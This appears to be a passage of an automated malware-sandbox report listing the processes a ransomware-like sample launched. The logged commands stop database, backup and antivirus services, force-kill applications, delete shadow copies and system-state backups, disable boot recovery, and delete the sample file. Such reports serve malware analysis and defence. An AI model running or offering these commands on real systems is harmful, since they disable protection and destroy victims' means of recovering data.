C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ SYSTEM_BGC /y
3⤵
PID:4452

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPS /y
2⤵
PID:4404

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPS /y
3⤵
PID:3256

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher $ TPSAMA /y
2⤵
PID:4356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher $ TPSAMA /y
3⤵
PID:3792

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
2⤵
PID:4484

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
3⤵
PID:3212

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
2⤵
PID:860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
3⤵
PID:824

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
2⤵
PID:1044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
3⤵
PID:1124

C:\Windows\SysWOW64\net.exe
net stop MySQL80 /y
2⤵
PID:1164

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL80 /y
3⤵
PID:1800

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
2⤵
PID:1564

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
3⤵
PID:1812

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
2⤵
PID:1596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
3⤵
PID:2436

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
2⤵
PID:3048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
3⤵
PID:1916

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
2⤵
PID:3584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:1348

C:\Windows\SysWOW64\net.exe
net stop POP3SVC /y
2⤵
PID:4772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3SVC /y
3⤵
PID:4776

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
2⤵
PID:1136

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
3⤵
PID:952

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SQL_2008 /y
2⤵
PID:4936

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SQL_2008 /y
3⤵
PID:4868

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ SYSTEM_BGC /y
2⤵
PID:4580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ SYSTEM_BGC /y
3⤵
PID:4536

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPS /y
2⤵
PID:4540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPS /y
3⤵
PID:5076

C:\Windows\SysWOW64\net.exe
net stop ReportServer $ TPSAMA /y
2⤵
PID:4768

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer $ TPSAMA /y
3⤵
PID:1200

C:\Windows\SysWOW64\net.exe
net stop RESVC /y
2⤵
PID:4236

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESVC /y
3⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
2⤵
PID:344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
3⤵
PID:3200

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
2⤵
PID:3056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
3⤵
PID:4788

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
2⤵
PID:3868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
3⤵
PID:976

C:\Windows\SysWOW64\net.exe
net stop CABService /y
2⤵
PID:2304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CABService /y
3⤵
PID:1524

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
2⤵
PID:2120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
3⤵
PID:1928

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
2⤵
PID:2456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
3⤵
PID:3616

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
2⤵
PID:3592

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
3⤵
PID:1684

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
2⤵
PID:4964

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
3⤵
PID:2956

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
2⤵
PID:1864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
3⤵
PID:3744

C:\Windows\SysWOW64\net.exe
net stop SMTPSVC /y
2⤵
PID:3716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSVC /y
3⤵
PID:3712

C:\Windows\SysWOW64\net.exe
net stop SNAC /y
2⤵
PID:4120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SNAC /y
3⤵
PID:4100

C:\Windows\SysWOW64\net.exe
net stop SntpService /y
2⤵
PID:428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SntpService /y
3⤵
PID:2232

C:\Windows\SysWOW64\net.exe
net stop sophossps /y
2⤵
PID:756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophossps /y
3⤵
PID:4248

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ BKUPEXEC /y
2⤵
PID:2156

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ BKUPEXEC /y
3⤵
PID:4320

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ ECWDB2 /y
2⤵
PID:4268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ ECWDB2 /y
3⤵
PID:4280

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEBGC /y
2⤵
PID:4368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEBGC /y
3⤵
PID:4384

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PRACTTICEMGT /y
2⤵
PID:2580

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PRACTTICEMGT /y
3⤵
PID:4472

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROFXENGAGEMENT /y
2⤵
PID:4316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
3⤵
PID:588

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
2⤵
PID:652

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
3⤵
PID:1036

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SHAREPOINT /y
2⤵
PID:64

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
3⤵
PID:1800

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SQL_2008 /y
2⤵
PID:1196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
3⤵
PID:1660

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SYSTEM_BGC /y
2⤵
PID:2492

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
3⤵
PID:2764

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPS /y
2⤵
PID:3044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPS /y
3⤵
PID:4748

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPSAMA /y
2⤵
PID:4848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
3⤵
PID:4920

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:4776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:1944

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2012 /y
2⤵
PID:4892

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
3⤵
PID:4592

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser /y
2⤵
PID:3108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
3⤵
PID:3128

C:\Windows\SysWOW64\net.exe
net stop SQLSafeOLRService /y
2⤵
PID:2868

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
3⤵
PID:2864

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT /y
2⤵
PID:2860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
3⤵
PID:4928

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY /y
2⤵
PID:2656

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
3⤵
PID:2520

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY $ ECWDB2 /y
2⤵
PID:2880

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
3⤵
PID:4912

C:\Windows\SysWOW64\net.exe
net stop SQLWriter /y
2⤵
PID:2064

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
3⤵
PID:948

C:\Windows\SysWOW64\net.exe
net stop SstpSvc /y
2⤵
PID:1456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
3⤵
PID:1444

C:\Windows\SysWOW64\net.exe
net stop svcGenericHost /y
2⤵
PID:1928

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
3⤵
PID:2876

C:\Windows\SysWOW64\net.exe
net stop swi_filter /y
2⤵
PID:2016

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
3⤵
PID:1684

C:\Windows\SysWOW64\net.exe
net stop swi_service /y
2⤵
PID:2264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_service /y
3⤵
PID:1940

C:\Windows\SysWOW64\net.exe
net stop swi_update_64 /y
2⤵
PID:2956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
3⤵
PID:4376

C:\Windows\SysWOW64\net.exe
net stop TmCCSF /y
2⤵
PID:3080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
3⤵
PID:5040

C:\Windows\SysWOW64\net.exe
net stop tmlisten /y
2⤵
PID:4176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
3⤵
PID:752

C:\Windows\SysWOW64\net.exe
net stop TrueKey /y
2⤵
PID:420

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
3⤵
PID:4064

C:\Windows\SysWOW64\net.exe
net stop TrueKeyScheduler /y
2⤵
PID:4052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
3⤵
PID:4308

C:\Windows\SysWOW64\net.exe
net stop TrueKeyServiceHelper /y
2⤵
PID:1700

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
3⤵
PID:4256

C:\Windows\SysWOW64\net.exe
net stop UI0Detect /y
2⤵
PID:4380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
3⤵
PID:4340

C:\Windows\SysWOW64\net.exe
net stop VeeamBackupSvc /y
2⤵
PID:2532

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
3⤵
PID:4140

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc /y
2⤵
PID:812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
3⤵
PID:868

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc /y
2⤵
PID:1436

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
3⤵
PID:1800

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc /y
2⤵
PID:1672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
3⤵
PID:1716

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploymentService /y
2⤵
PID:1920

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2472

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc /y
2⤵
PID:4816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
3⤵
PID:2804

C:\Windows\SysWOW64\net.exe
net stop VeeamEnterpriseManagerSvc /y
2⤵
PID:4984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
3⤵
PID:4920

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc /y
2⤵
PID:1944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
3⤵
PID:4868

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc /y
2⤵
PID:3620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:4556

C:\Windows\SysWOW64\net.exe
net stop VeeamRESTSvc /y
2⤵
PID:4576

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
3⤵
PID:3148

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc /y
2⤵
PID:2864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:5052

C:\Windows\SysWOW64\net.exe
net stop W3svc /y
2⤵
PID:3008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop W3svc /y
3⤵
PID:1048

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:4912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:1248

C:\Windows\SysWOW64\net.exe
net stop WRSVC /y
2⤵
PID:2408

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
3⤵
PID:1444

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
2⤵
PID:1300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:1936

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
2⤵
PID:2876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:2800

C:\Windows\SysWOW64\net.exe
net stop VeeamHvIntegrationSvc /y
2⤵
PID:4696

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
3⤵
PID:3964

C:\Windows\SysWOW64\net.exe
net stop swi_update /y
2⤵
PID:3296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update /y
3⤵
PID:3856

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CXDB /y
2⤵
PID:3276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
3⤵
PID:752

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CITRIX_METAFRAME /y
2⤵
PID:5044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
3⤵
PID:4092

C:\Windows\SysWOW64\net.exe
net stop SQL /y
2⤵
PID:4024

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQL /y
3⤵
PID:4304

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROD /y
2⤵
PID:4252

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROD /y
3⤵
PID:4392

C:\Windows\SysWOW64\net.exe
net stop Zoolz 2 Service /y
2⤵
PID:4512

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Zoolz 2 Service /y
3⤵
PID:644

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper /y
2⤵
PID:4372

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
3⤵
PID:1036

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROD /y
2⤵
PID:4312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROD /y
3⤵
PID:1352

C:\Windows\SysWOW64\net.exe
net stop msftesql $ PROD /y
2⤵
PID:1176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql $ PROD /y
3⤵
PID:2480

C:\Windows\SysWOW64\net.exe
net stop NetMsmqActivator /y
2⤵
PID:1716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
3⤵
PID:4524

C:\Windows\SysWOW64\net.exe
net stop EhttpSrv /y
2⤵
PID:4856

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
3⤵
PID:1328

C:\Windows\SysWOW64\net.exe
net stop ekrn /y
2⤵
PID:3848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
3⤵
PID:4880

C:\Windows\SysWOW64\net.exe
net stop ESHASRV /y
2⤵
PID:2932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
3⤵
PID:2856

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SOPHOS /y
2⤵
PID:4864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
3⤵
PID:1056

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SOPHOS /y
2⤵
PID:500

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
3⤵
PID:1168

C:\Windows\SysWOW64\net.exe
net stop AVP /y
2⤵
PID:4660

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AVP /y
3⤵
PID:60

C:\Windows\SysWOW64\net.exe
net stop klnagent /y
2⤵
PID:4916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
3⤵
PID:1656

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQLEXPRESS /y
2⤵
PID:2552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
3⤵
PID:2872

C:\Windows\SysWOW64\net.exe
net stop SQLAgent /y
2⤵
PID:1524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent /y
3⤵
PID:1828

C:\Windows\SysWOW64\net.exe
net stop SQLEXPRESS /y
2⤵
PID:1940

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLEXPRESS /y
3⤵
PID:3660

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
2⤵
PID:4108

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:3820

C:\Windows\SysWOW64\net.exe
net stop kavfsslp /y
2⤵
PID:752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
3⤵
PID:4112

C:\Windows\SysWOW64\net.exe
net stop KAVFSGT /y
2⤵
PID:4248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
3⤵
PID:4296

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im zoolz.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4276

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im agntsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4280

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbeng50.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4384

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im dbsnmp.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1124

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im encsvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1344

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im excel.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1612

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im firefoxconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4976

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Infopath.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2436

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im isqlplussvc.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3888

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msaccess.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4884

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im msftesql.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4536

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mspub.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3148

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopqos.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3132

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mydesktopservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:5072

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1048

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-nt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:976

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mysqld-opt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3616

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocautoupds.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:820

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocomm.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4988

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im ocssd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:900

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im onenote.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2592

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im oracle.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4112

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im outlook.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4020

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im powerpnt.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4332

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqbcoreservice.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3272

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlagent.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1036

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlbrowser.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1568

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlservr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1372

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlwriter.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2472

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im steam.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1732

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im synctime.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1308

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tbirdconfig.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4556

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3160

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thebat64.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1168

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im thunderbird.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4744

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im visio.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3348

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im winword.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2332

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wordpad.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:2800

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im xfssvccon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:3728

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im tmlisten.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4092

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im PccNTMon.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4060

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CNTAoSMgr.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4296

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Ntrtscan.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:4436

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im mbamtray.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1352

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Cmd.exe >NUL 2> 1
2⤵
- Kills process with taskkill
PID:1172

C:\Windows\SYSTEM32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:2364

C:\Windows\SYSTEM32\vssadmin.exe
vssadmin Delete Shadows /all /quiet
2⤵
- Interacts with shadow copies
PID:3712

C:\Windows\SYSTEM32\bcdedit.exe
bcdedit.exe /set {default} recoveryenabled No
2⤵
- Modifies boot configuration data using bcdedit
PID:3500

C:\Windows\SYSTEM32\bcdedit.exe
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
2⤵
- Modifies boot configuration data using bcdedit
PID:1908

C:\Windows\SYSTEM32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:3256

C:\Windows\SYSTEM32\wbadmin.exe
wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
2⤵
- Deletes System State backups
- Drops file in Windows directory
PID:1452

C:\Windows\System32\Wbem\wmic.exe
wmic.exe SHADOWCOPY DELETE /nointeractive
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:252

C:\Windows\SysWOW64\Cmd.exe
Cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\768c09ad691d4af27f50934df5879166c08c0b18abf2c1a1c8561e8589a07c91.bin.sample.exe"
2⤵
PID:3112

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3280

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1072

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3076

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
